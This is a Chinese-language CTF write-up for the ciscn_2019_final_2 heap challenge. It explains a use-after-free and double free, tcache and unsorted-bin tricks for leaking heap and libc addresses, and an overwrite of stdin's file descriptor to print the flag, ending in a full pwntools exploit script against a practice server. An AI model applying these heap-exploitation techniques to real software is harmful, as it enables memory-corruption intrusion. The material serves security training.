ciscn_2019_final_2 检查防护措施
保护全开并且开了沙箱
基本只能读出flag拿不到shell了
IDA静态分析
在初始化的地方有一个dup2函数把flag的文件描述符改成了666
1 2 3 4 我们知道在Linux系统中一切皆可以看成是文件,文件又可分为:普通文件、目录文件、链接文件和设备文件。在操作这些所谓的文件的时候,我们每操作一次就找一次名字,这会耗费大量的时间和效率。所以Linux中规定每一个文件对应一个索引,这样要操作文件的时候,我们直接找到索引就可以对其进行操作了。 文件描述符(file descriptor)就是内核为了高效管理这些已经被打开的文件所创建的索引,其是一个非负整数(通常是小整数),用于指代被打开的文件,所有执行I/O操作的系统调用都通过文件描述符来实现。同时还规定系统刚刚启动的时候,0是标准输入,1是标准输出,2是标准错误。这意味着如果此时去打开一个新的文件,它的文件描述符会是3,再打开一个文件文件描述符就是4......
在退出函数中让我们输入并且把输入的打印出来,那么如果我们把标准输入stdin的文件描述符改为666,它就会读取flag的值并且打印出来了
add():
在add函数里当我们去申请chunk的时候会使全局变量bool 置 1,在后面free函数中会有一个检查,要是bool = 0 则无法free
我们可以申请两种chunk ,1:int_pt 4个字节存放了0x20的chunk的指针 2:short_pt 2个字节存放了0x10的chunk的指针
free():
释放chunk时会把全局变量bool置0,也就是说我们不能连续释放chunk,这里指针没有置0,存在UAF
show():
由于show_time–,所以只能show三次,且只能泄露4个字节或2个字节也就是堆的低位地址,也够用了因为高位是相同的
解题过程: 因为我们泄露libc地址主要还是用unstored bin的特性也就需要用到unstored bin但是这里的malloc size不是我们输入的
是程序给定的0x20和0x10那么我们就需要利用double free去修改chunk的size
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 add(1 ,0x30 ) free(1 ) for i in range (4 ): add(2 ,0x20 ) free(2 ) add(1 ,0x30 ) free(2 ) show(2 ) io.recvuntil('your short type inode number :' ) heap_low_2byte = int (io.recvuntil('\n' ,drop = True )) if heap_low_2byte < 0 : heap_low_2byte += 0x10000 log.success('heap_low_2byte:' +hex (heap_low_2byte))
首先add(1,0x30)再free进tcache_bin中,为我们后面double free的时候去置bool = 1
接下来去修改chunk的size为0x91,然后填满tcache 去泄露libc
1 2 3 4 5 6 7 8 9 10 add(2 ,heap_low_2byte-0xa0 ) add(2 ,0 ) free(1 ) gdb.attach(io) add(2 ,0x91 ) for i in range (7 ): free(1 ) add(2 ,0 ) free(1 )
1 2 3 4 5 6 7 8 9 10 11 show(1 ) io.recvuntil('your int type inode number :' ) main_arena_low_4byte = int (io.recvuntil('\n' ,drop = True )) - 96 if main_arena_low_4byte < 0 : main_arena_low_4byte += 0x100000000 log.success('main_arena_low_4byte=>' + hex (main_arena_low_4byte)) malloc_hook_low_4byte = (main_arena_low_4byte & 0xFFFFF000 ) + (libc.sym['__malloc_hook' ] & 0xFFF ) libc_base_low_4byte=malloc_hook_low_4byte-libc.sym['__malloc_hook' ] log.success('libc_base_low_4byte=>' + hex (libc_base_low_4byte)) stdin_filno_low_4byte=libc_base_low_4byte+libc.sym['_IO_2_1_stdin_' ]+0x70
此时bin中是这样的,那么此时如果我们去申请0x10的chunk也就是short int,那么会从unsorted bin中分割0x20的chunk给我们,我们的malloc地址恰好是0x555556559260,那我们去修改其fd的位置指向_filno我们再申请回来是不是就可以修改fileno了
1 add(2 ,stdin_filno_low_4byte&0xffff )
现在申请回来修改为666就可以读出flag了
1 2 3 4 add(1 ,0 ) add(1 ,666 ) io.recvuntil('which command?' ) io.sendline(str (4 ))
exp: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] io = remote('node4.buuoj.cn' ,28262 ) elf = ELF("./ciscn_final_2" ) libc = ELF('./libc-2.27.so' ) def add (Type ,content ): io.recvuntil('which command?' ) io.sendline(str (1 )) io.recvuntil('TYPE:\n1: int\n2: short int\n>' ) io.sendline(str (Type )) io.recvuntil('your inode number:' ) io.sendline(str (content)) def free (Type ): io.recvuntil('which command?' ) io.sendline(str (2 )) io.recvuntil('TYPE:\n1: int\n2: short int\n>' ) io.sendline(str (Type )) def show (Type ): io.recvuntil('which command?' ) io.sendline(str (3 )) io.recvuntil('TYPE:\n1: int\n2: short int\n>' ) io.sendline(str (Type )) add(1 ,0x30 ) free(1 ) for i in range (4 ): add(2 ,0x20 ) free(2 ) add(1 ,0x30 ) free(2 ) show(2 ) io.recvuntil('your short type inode number :' ) heap_low_2byte = int (io.recvuntil('\n' ,drop = True )) if heap_low_2byte < 0 : heap_low_2byte += 0x10000 log.success('heap_low_2byte:' +hex (heap_low_2byte)) add(2 ,heap_low_2byte-0xa0 ) add(2 ,0 ) free(1 ) add(2 ,0x91 ) for i in range (7 ): free(1 ) add(2 ,0 ) free(1 ) show(1 ) io.recvuntil('your int type inode number :' ) main_arena_low_4byte = int (io.recvuntil('\n' ,drop = True )) - 96 if main_arena_low_4byte < 0 : main_arena_low_4byte += 0x100000000 log.success('main_arena_low_4byte=>' + hex (main_arena_low_4byte)) malloc_hook_low_4byte = (main_arena_low_4byte & 0xFFFFF000 ) + (libc.sym['__malloc_hook' ] & 0xFFF ) libc_base_low_4byte=malloc_hook_low_4byte-libc.sym['__malloc_hook' ] log.success('libc_base_low_4byte=>' + hex (libc_base_low_4byte)) stdin_filno_low_4byte=libc_base_low_4byte+libc.sym['_IO_2_1_stdin_' ]+0x70 add(2 ,stdin_filno_low_4byte&0xffff ) add(1 ,0 ) add(1 ,666 ) io.recvuntil('which command?' ) io.sendline(str (4 )) io.interactive()